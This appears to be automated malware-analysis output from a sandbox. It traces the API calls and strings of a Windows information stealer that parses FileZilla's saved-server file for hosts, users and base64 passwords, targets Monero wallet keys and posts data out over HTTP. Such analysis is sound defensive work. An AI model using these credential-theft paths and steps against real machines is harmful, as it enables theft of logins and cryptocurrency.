Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID: 0{$H{$X{
API String ID: 928082926-3362357948
Opcode ID: f116d4cfb36d0d836697f24a3a6908f0638845774ee3a285cbce5d612efd2a52
Instruction ID: b90a73c11efc8311aafb5709ab566a8b39b8f8bd42dc2d4e4877d4ce89b39745
Opcode Fuzzy Hash: f116d4cfb36d0d836697f24a3a6908f0638845774ee3a285cbce5d612efd2a52
Instruction Fuzzy Hash: 13321FB6800354ABC725FBA0EC89DEE737DBB44700F444A89F20963185EE78E7869F51

Function 00FD0250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00FDA740: lstrcpy.KERNEL32(00FE0E17,00000000), ref: 00FDA788

Part of subcall function 00FD8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00FD8E0B

Part of subcall function 00FDA920: lstrcpy.KERNEL32(00000000,?), ref: 00FDA972
Part of subcall function 00FDA920: lstrcat.KERNEL32(00000000), ref: 00FDA982

Part of subcall function 00FDA8A0: lstrcpy.KERNEL32(?,00FE0E17), ref: 00FDA905

Part of subcall function 00FDA9B0: lstrlen.KERNEL32(?,007B8F98,?,\Monero\wallet.keys,00FE0E17), ref: 00FDA9C5
Part of subcall function 00FDA9B0: lstrcpy.KERNEL32(00000000), ref: 00FDAA04
Part of subcall function 00FDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FDAA12

Part of subcall function 00FDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FDA7E6

Part of subcall function 00FC99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00FC99EC
Part of subcall function 00FC99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00FC9A11
Part of subcall function 00FC99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00FC9A31
Part of subcall function 00FC99C0: ReadFile.KERNEL32(000000FF,?,00000000,00FC148F,00000000), ref: 00FC9A5A
Part of subcall function 00FC99C0: LocalFree.KERNEL32(00FC148F), ref: 00FC9A90
Part of subcall function 00FC99C0: CloseHandle.KERNEL32(000000FF), ref: 00FC9A9A

Part of subcall function 00FD8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00FD8E52

GetProcessHeap.KERNEL32(00000000,000F423F,00FE0DBA,00FE0DB7,00FE0DB6,00FE0DB3), ref: 00FD0362
RtlAllocateHeap.NTDLL(00000000), ref: 00FD0369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00FD0385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00FE0DB2), ref: 00FD0393
StrStrA.SHLWAPI(00000000,<Port>), ref: 00FD03CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00FE0DB2), ref: 00FD03DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00FD0419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00FE0DB2), ref: 00FD0427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00FD0463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00FE0DB2), ref: 00FD0475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00FE0DB2), ref: 00FD0502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00FE0DB2), ref: 00FD051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00FE0DB2), ref: 00FD0532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00FE0DB2), ref: 00FD054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00FD0562
lstrcat.KERNEL32(?,profile: null), ref: 00FD0571
lstrcat.KERNEL32(?,url: ), ref: 00FD0580
lstrcat.KERNEL32(?,00000000), ref: 00FD0593
lstrcat.KERNEL32(?,00FE1678), ref: 00FD05A2
lstrcat.KERNEL32(?,00000000), ref: 00FD05B5
lstrcat.KERNEL32(?,00FE167C), ref: 00FD05C4
lstrcat.KERNEL32(?,login: ), ref: 00FD05D3
lstrcat.KERNEL32(?,00000000), ref: 00FD05E6
lstrcat.KERNEL32(?,00FE1688), ref: 00FD05F5
lstrcat.KERNEL32(?,password: ), ref: 00FD0604
lstrcat.KERNEL32(?,00000000), ref: 00FD0617
lstrcat.KERNEL32(?,00FE1698), ref: 00FD0626
lstrcat.KERNEL32(?,00FE169C), ref: 00FD0635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00FE0DB2), ref: 00FD068E

Strings

<Port>, xrefs: 00FD03C6
password: , xrefs: 00FD05FB
login: , xrefs: 00FD05CA
url: , xrefs: 00FD0577
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 00FD02A4
profile: null, xrefs: 00FD0568
browser: FileZilla, xrefs: 00FD0559
<User>, xrefs: 00FD0410
<Host>, xrefs: 00FD037C
<Pass encoding="base64">, xrefs: 00FD045A

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: bc080981a1ca717d8157ec3fdb9337280122f6a9fc4154c63941e0e72702160f
Instruction ID: 52c489abf93610ee11554a597fd4d026292f3771f99d0b4826c7bc9250c8facb
Opcode Fuzzy Hash: bc080981a1ca717d8157ec3fdb9337280122f6a9fc4154c63941e0e72702160f
Instruction Fuzzy Hash: 9ED14371900208ABCB14EBF4DD9AEEE7339FF14300F484519F502A7195EF78AA46EB65

Function 00FC5100 Relevance: 53.1, APIs: 19, Strings: 11, Instructions: 572
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00FDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FDA7E6

Part of subcall function 00FC47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00FC4839
Part of subcall function 00FC47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00FC4849

lstrlen.KERNEL32(00000000), ref: 00FC5193

Part of subcall function 00FD8EA0: CryptBinaryToStringA.CRYPT32(00000000,00FC5184,40000001,00000000,00000000,?,00FC5184), ref: 00FD8EC0

Part of subcall function 00FDA740: lstrcpy.KERNEL32(00FE0E17,00000000), ref: 00FDA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00FC5207
StrCmpCA.SHLWAPI(?,007BE838), ref: 00FC5225
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00FC5340
HttpOpenRequestA.WININET(00000000,007BE7C8,?,007BE200,00000000,00000000,00400100,00000000), ref: 00FC53A4

Part of subcall function 00FDA9B0: lstrlen.KERNEL32(?,007B8F98,?,\Monero\wallet.keys,00FE0E17), ref: 00FDA9C5
Part of subcall function 00FDA9B0: lstrcpy.KERNEL32(00000000), ref: 00FDAA04
Part of subcall function 00FDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FDAA12

Part of subcall function 00FDA8A0: lstrcpy.KERNEL32(?,00FE0E17), ref: 00FDA905

Part of subcall function 00FDA920: lstrcpy.KERNEL32(00000000,?), ref: 00FDA972
Part of subcall function 00FDA920: lstrcat.KERNEL32(00000000), ref: 00FDA982

lstrlen.KERNEL32(00000000,00000000,?,",00000000,?,007BE848,00000000,?,007BA5A0,00000000,?,00FE19DC,00000000,?,00FD51CF), ref: 00FC5737
lstrlen.KERNEL32(00000000), ref: 00FC574B
GetProcessHeap.KERNEL32(00000000,?), ref: 00FC575C
RtlAllocateHeap.NTDLL(00000000), ref: 00FC5763
lstrlen.KERNEL32(00000000), ref: 00FC5778
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00FC57A9
lstrlen.KERNEL32(00000000), ref: 00FC57C8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00FC57E1
lstrlen.KERNEL32(00000000,?,?), ref: 00FC580E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00FC5822
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00FC584D
InternetCloseHandle.WININET(00000000), ref: 00FC58B1
InternetCloseHandle.WININET(00000000), ref: 00FC58BE
InternetCloseHandle.WININET(00000000), ref: 00FC58C8

Strings

------, xrefs: 00FC54F9
p{, xrefs: 00FC559A
------, xrefs: 00FC53B7
", xrefs: 00FC5482
", xrefs: 00FC55C4
8{, xrefs: 00FC5217
H{, xrefs: 00FC56DC
", xrefs: 00FC5706
------, xrefs: 00FC5297
--, xrefs: 00FC5280
------, xrefs: 00FC563B

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------$8{$H{$p{
API String ID: 1224485577-2490687405
Opcode ID: 850b331e337839d12c9d50959dc166e2280ec86fbf8c0827115fc7a1c62203bf
Instruction ID: 710d9f4fef35c5164e8fd66edc03f8ed8f9a3b1e7bc02d121d90fac7b69ab911
Opcode Fuzzy Hash: 850b331e337839d12c9d50959dc166e2280ec86fbf8c0827115fc7a1c62203bf
Instruction Fuzzy Hash: 57329371C20118ABDB14EBA0DC95FEEB339BF14700F44419AF50663192EF386A49EF5A

Function 00FC5960 Relevance: 40.7, APIs: 17, Strings: 6, Instructions: 495
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00FDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FDA7E6

Part of subcall function 00FC47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00FC4839
Part of subcall function 00FC47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00FC4849

Part of subcall function 00FDA740: lstrcpy.KERNEL32(00FE0E17,00000000), ref: 00FDA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00FC59F8
StrCmpCA.SHLWAPI(?,007BE838), ref: 00FC5A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00FC5B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,007BE8F8,00000000,?,007BA5A0,00000000,?,00FE1A1C), ref: 00FC5E71
lstrlen.KERNEL32(00000000), ref: 00FC5E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00FC5E93
RtlAllocateHeap.NTDLL(00000000), ref: 00FC5E9A
lstrlen.KERNEL32(00000000), ref: 00FC5EAF
lstrlen.KERNEL32(00000000), ref: 00FC5ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00FC5EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00FC5F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00FC5F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00FC5F4C
InternetCloseHandle.WININET(00000000), ref: 00FC5FB0
InternetCloseHandle.WININET(00000000), ref: 00FC5FBD
HttpOpenRequestA.WININET(00000000,007BE7C8,?,007BE200,00000000,00000000,00400100,00000000), ref: 00FC5BF8

Part of subcall function 00FDA9B0: lstrlen.KERNEL32(?,007B8F98,?,\Monero\wallet.keys,00FE0E17), ref: 00FDA9C5
Part of subcall function 00FDA9B0: lstrcpy.KERNEL32(00000000), ref: 00FDAA04
Part of subcall function 00FDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FDAA12

Part of subcall function 00FDA8A0: lstrcpy.KERNEL32(?,00FE0E17), ref: 00FDA905

Part of subcall function 00FDA920: lstrcpy.KERNEL32(00000000,?), ref: 00FDA972
Part of subcall function 00FDA920: lstrcat.KERNEL32(00000000), ref: 00FDA982

InternetCloseHandle.WININET(00000000), ref: 00FC5FC7

Strings

------, xrefs: 00FC5D4C
", xrefs: 00FC5CD5
", xrefs: 00FC5E16
8{, xrefs: 00FC5A08
------, xrefs: 00FC5A96
------, xrefs: 00FC5C0B

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------$8{
API String ID: 874700897-4139371627
Opcode ID: a1d8c68162ab4b0fd012e2a8f17f27f6a63d227b00724d663b3a0373f287edc8
Instruction ID: b2f197f78580c204911073dd2bc9dd5a6f9c3b5f3a3ca03e324eded2f0ef2ad5
Opcode Fuzzy Hash: a1d8c68162ab4b0fd012e2a8f17f27f6a63d227b00724d663b3a0373f287edc8
Instruction Fuzzy Hash: EB125271820118ABDB15EBA0DC95FEEB339BF14700F44419AF50663192EF742B49EF59

Function 00FCA790 Relevance: 39.0, APIs: 21, Strings: 1, Instructions: 539
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00FDAA70: StrCmpCA.SHLWAPI(007B92C8,00FCA7A7,?,00FCA7A7,007B92C8), ref: 00FDAA8F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00FCAAC8
RtlAllocateHeap.NTDLL(00000000), ref: 00FCAACF
StrCmpCA.SHLWAPI(00000000,ERROR_RUN_EXTRACTOR), ref: 00FCABE2
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00FCA8B0

Part of subcall function 00FDA820: lstrlen.KERNEL32(00FC4F05,?,?,00FC4F05,00FE0DDE), ref: 00FDA82B
Part of subcall function 00FDA820: lstrcpy.KERNEL32(00FE0DDE,00000000), ref: 00FDA885

Part of subcall function 00FDA9B0: lstrlen.KERNEL32(?,007B8F98,?,\Monero\wallet.keys,00FE0E17), ref: 00FDA9C5
Part of subcall function 00FDA9B0: lstrcpy.KERNEL32(00000000), ref: 00FDAA04
Part of subcall function 00FDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FDAA12

Part of subcall function 00FDA8A0: lstrcpy.KERNEL32(?,00FE0E17), ref: 00FDA905

lstrcat.KERNEL32(?,00000000), ref: 00FCACEB
lstrcat.KERNEL32(?,00FE1320), ref: 00FCACFA
lstrcat.KERNEL32(?,00000000), ref: 00FCAD0D
lstrcat.KERNEL32(?,00FE1324), ref: 00FCAD1C
lstrcat.KERNEL32(?,00000000), ref: 00FCAD2F
lstrcat.KERNEL32(?,00FE1328), ref: 00FCAD3E
lstrcat.KERNEL32(?,00000000), ref: 00FCAD51
lstrcat.KERNEL32(?,00FE132C), ref: 00FCAD60
lstrcat.KERNEL32(?,00000000), ref: 00FCAD73
lstrcat.KERNEL32(?,00FE1330), ref: 00FCAD82
lstrcat.KERNEL32(?,00000000), ref: 00FCAD95
lstrcat.KERNEL32(?,00FE1334), ref: 00FCADA4
lstrcat.KERNEL32(?,00000000), ref: 00FCADB7
lstrlen.KERNEL32(?), ref: 00FCAE0D
lstrlen.KERNEL32(?), ref: 00FCAE1C

Part of subcall function 00FDA740: lstrcpy.KERNEL32(00FE0E17,00000000), ref: 00FDA788

Part of subcall function 00FDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FDA7E6

DeleteFileA.KERNEL32(00000000), ref: 00FCAE97

Strings

ERROR_RUN_EXTRACTOR, xrefs: 00FCABD4

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcess
String ID: ERROR_RUN_EXTRACTOR
API String ID: 4157063783-2709115261
Opcode ID: 82af3428bf72d2ba66af862f0b190f7a150463f01d113a8f11e6c858222bf77b
Instruction ID: ce7b84d594c9e010551470f9f2a81c79d53acbb586ae7d52c29e4d49d67031b8
Opcode Fuzzy Hash: 82af3428bf72d2ba66af862f0b190f7a150463f01d113a8f11e6c858222bf77b
Instruction Fuzzy Hash: 781252719101099BCB15EBA0DD96EEE7339BF54300F444159F507A3192EF38AE09FB6A

Function 00FCCEF0 Relevance: 30.4, APIs: 20, Instructions: 375
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00FDA740: lstrcpy.KERNEL32(00FE0E17,00000000), ref: 00FDA788

Part of subcall function 00FDA9B0: lstrlen.KERNEL32(?,007B8F98,?,\Monero\wallet.keys,00FE0E17), ref: 00FDA9C5
Part of subcall function 00FDA9B0: lstrcpy.KERNEL32(00000000), ref: 00FDAA04
Part of subcall function 00FDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FDAA12

Part of subcall function 00FDA8A0: lstrcpy.KERNEL32(?,00FE0E17), ref: 00FDA905

Part of subcall function 00FD8B60: GetSystemTime.KERNEL32(00FE0E1A,007BA5D0,00FE05AE,?,?,00FC13F9,?,0000001A,00FE0E1A,00000000,?,007B8F98,?,\Monero\wallet.keys,00FE0E17), ref: 00FD8B86

Part of subcall function 00FDA920: lstrcpy.KERNEL32(00000000,?), ref: 00FDA972
Part of subcall function 00FDA920: lstrcat.KERNEL32(00000000), ref: 00FDA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00FCCF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00FCD0C7
RtlAllocateHeap.NTDLL(00000000), ref: 00FCD0CE
lstrcat.KERNEL32(?,00000000), ref: 00FCD208
lstrcat.KERNEL32(?,00FE1478), ref: 00FCD217
lstrcat.KERNEL32(?,00000000), ref: 00FCD22A
lstrcat.KERNEL32(?,00FE147C), ref: 00FCD239
lstrcat.KERNEL32(?,00000000), ref: 00FCD24C
lstrcat.KERNEL32(?,00FE1480), ref: 00FCD25B
lstrcat.KERNEL32(?,00000000), ref: 00FCD26E
lstrcat.KERNEL32(?,00FE1484), ref: 00FCD27D
lstrcat.KERNEL32(?,00000000), ref: 00FCD290
lstrcat.KERNEL32(?,00FE1488), ref: 00FCD29F
lstrcat.KERNEL32(?,00000000), ref: 00FCD2B2
lstrcat.KERNEL32(?,00FE148C), ref: 00FCD2C1
lstrcat.KERNEL32(?,00000000), ref: 00FCD2D4
lstrcat.KERNEL32(?,00FE1490), ref: 00FCD2E3

